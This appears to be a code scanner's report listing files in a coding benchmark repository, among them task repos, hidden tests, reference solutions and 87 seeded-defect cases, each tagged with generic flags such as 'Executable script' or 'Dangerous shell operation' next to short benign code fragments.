fetch_json("http://x", down, sleep=sleep) - Network accessline 158
with pytest.raises(ValueError): fetch_json("http://x", broken, sleep=lambda s: None) - Network accessline 159
fetch_json("http://x", broken, sleep=lambda s: None)
benchmarks/h2h/tasks/py-retry-decorator/repo/netutil/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-retry-decorator/repo/netutil/http.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-retry-decorator/repo/tests/test_http.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-retry-decorator/solution/netutil/http.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-retry-decorator/solution/netutil/retry.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-semver-range/hidden/test_range_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-semver-range/repo/semverlite/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-semver-range/repo/semverlite/version.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-semver-range/repo/tests/test_version.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-semver-range/solution/semverlite/range.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/hidden/test_cli_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/repo/tests/test_cli.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/repo/todo/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/repo/todo/cli.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/repo/todo/models.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/repo/todo/report.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/repo/todo/store.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/solution/todo/cli.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-todo-json/solution/todo/report.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/rs-expr-eval/hidden/h2h_hidden.rs
benchmarks/h2h/tasks/rs-expr-eval/repo/src/expr.rs
- Dangerous shell operationline 15
pub fn eval(input: &str, _vars: &HashMap<String, f64>) -> Result<f64, EvalError> {
benchmarks/h2h/tasks/rs-expr-eval/repo/tests/visible.rs
- Dangerous shell operationline 5
eval(s, &HashMap::new())
benchmarks/h2h/tasks/rs-expr-eval/solution/src/expr.rs
- Dangerous shell operationline 317
pub fn eval(input: &str, vars: &HashMap<String, f64>) -> Result<f64, EvalError> {
benchmarks/h2h/tasks/rs-expr-eval/task.txt
- Dangerous shell operationline 1
Extend exprkit::eval(input: &str, vars: &HashMap<String, f64>) -> Result<f64, EvalError> in src/expr.rs, which today only handles integers joined by + and -, into a full arithmetic evaluator with functions and implicit multiplication. Keep
benchmarks/h2h/tasks/ts-cart-discounts/hidden/cart.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cart-discounts/repo/package.json
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cart-discounts/repo/src/cart.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cart-discounts/repo/src/checkout.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cart-discounts/repo/test/cart.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cart-discounts/solution/src/cart.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cart-discounts/solution/src/checkout.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cart-discounts/solution/src/discounts.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cron-next/hidden/cron.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cron-next/repo/package.json
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cron-next/repo/src/jobs.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cron-next/repo/test/jobs.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-cron-next/solution/src/cron.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-duration-fix/hidden/duration.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-duration-fix/repo/package.json
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-duration-fix/repo/src/duration.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-duration-fix/repo/src/job.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-duration-fix/repo/test/duration.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-duration-fix/solution/src/duration.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/hidden/orders.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/repo/package.json
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/repo/src/export.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/repo/src/format.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/repo/src/report.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/repo/src/types.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/repo/test/orders.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/solution/src/export.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/solution/src/format.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/solution/src/report.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-order-currency/solution/src/types.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-paginate-fix/hidden/paginate.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-paginate-fix/repo/package.json
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-paginate-fix/repo/src/paginate.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-paginate-fix/repo/src/users.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-paginate-fix/repo/test/paginate.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-paginate-fix/solution/src/paginate.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/hidden/accounts.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/repo/package.json
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/repo/src/invite.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/repo/src/profile.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/repo/src/signup.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/repo/test/accounts.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/solution/src/invite.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/solution/src/profile.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/solution/src/signup.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/ts-validate-refactor/solution/src/validate.ts
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0001/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0001/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0001/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0002/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0002/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0002/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0003/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0003/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0003/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0004/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0004/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0004/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0005/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0005/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0005/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0006/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0006/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0006/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0007/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0007/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0007/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0008/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0008/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0008/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0009/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0009/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0009/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0010/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0010/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0010/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0011/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0011/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0011/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0012/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0012/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0012/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0013/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0013/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0013/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0014/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0014/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0014/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0015/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0015/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0015/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0016/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0016/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0016/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0017/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0017/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0017/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0018/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0018/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0018/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0019/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0019/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0019/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0020/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0020/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0020/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0021/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0021/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0021/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0022/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0022/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0022/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0023/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0023/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0023/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0024/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0024/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0024/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0025/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0025/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0025/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0026/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0026/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0026/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0027/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0027/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0027/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0028/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0028/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0028/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0029/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0029/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0029/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0030/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0030/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0030/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0031/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0031/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0031/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0032/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0032/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0032/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0033/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0033/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0033/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0034/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0034/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0034/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0035/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0035/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0035/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0036/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0036/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0036/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0037/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0037/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0037/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0038/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0038/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0038/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0039/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0039/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0039/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0040/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0040/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0040/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0041/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0041/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0041/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0042/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0042/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0042/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0043/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0043/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0043/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0044/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0044/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0044/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0045/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0045/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0045/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0046/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0046/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0046/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0047/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0047/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0047/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0048/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0048/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0048/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0049/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0049/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0049/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0050/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0050/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0050/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0051/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0051/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0051/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0052/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0052/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0052/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0053/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0053/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0053/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0054/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0054/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0054/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0055/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0055/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0055/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0056/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0056/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0056/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0057/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0057/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0057/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0058/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0058/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0058/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0059/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0059/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0059/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0060/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0060/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0060/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0061/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0061/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0061/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0062/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0062/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0062/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0063/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0063/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0063/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0064/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0064/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0064/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0065/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0065/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0065/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0066/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0066/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0066/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0067/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0067/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0067/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0068/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0068/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0068/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0069/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0069/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0069/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0070/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0070/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0070/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0071/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0071/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0071/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0072/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0072/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0072/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0073/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0073/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0073/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0074/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0074/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0074/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0075/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0075/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0075/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0076/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0076/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0076/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0077/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0077/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0077/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0078/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0078/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0078/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0079/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0079/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0079/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0080/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0080/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0080/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0081/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0081/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0081/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0082/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0082/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0082/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0083/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0083/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0083/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0084/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0084/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0084/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0085/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0085/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0085/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0086/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0086/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0086/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0087/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0087/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0087/test_visible.py
